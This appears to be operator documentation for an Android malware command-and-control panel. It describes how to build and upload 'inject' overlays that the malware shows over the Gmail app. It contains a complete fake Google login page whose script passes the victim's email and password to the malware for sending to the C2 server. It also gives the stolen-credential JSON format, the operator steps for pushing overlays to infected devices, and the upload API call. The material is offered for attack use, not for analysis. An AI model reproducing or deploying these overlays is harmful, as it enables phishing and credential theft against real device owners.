Inject overlays are HTML pages shown on the target device to capture credentials. They are served from the C2 server and displayed via WebView overlay.
Required structure
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<meta name="target-package" content="com.google.android.gm">
<title>Google Login</title>
</head>
<body>
<form id="login-form">
<input type="email" id="email" placeholder="Email" required>
<input type="password" id="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
<script>
document.getElementById('login-form').addEventListener('submit', function(e) {
e.preventDefault();
var data = JSON.stringify({
type: 'google_login',
email: document.getElementById('email').value,
password: document.getElementById('password').value,
timestamp: Date.now()
});
window.Android.reportCredentials(data);
document.body.innerHTML = '<h2>Thank you</h2>';
});
</script>
</body>
</html>
Required elements
| target-package meta | <meta name="target-package" content="com.xxx"> |
| reportCredentials() | window.Android.reportCredentials(jsonString) |
| user-scalable=no | Prevent zoom on viewport meta |
reportCredentials JSON format
{
"type": "google_login",
"email": "user@gmail.com",
"password": "secret123",
"timestamp": 1712345678000
}
How it works
| 1. Operator clicks ⚙️ on bot card | Opens Inject modal |
| 2. Operator clicks "Inject All" | Sends show_overlay to bot |
| 3. Bot shows overlay | WebView with inject HTML |
| 4. User enters credentials | form submit → reportCredentials() |
| 5. C2 receives credentials | Stored in results, shown in panel |
How to upload
Inject Hub → fill Name + Package → select HTML file → Upload. Or via API:
POST /api/html-templates/upload
Content-Type: multipart/form-data
file: inject_google.html
page: injects
name: Google Login
target: com.google.android.gm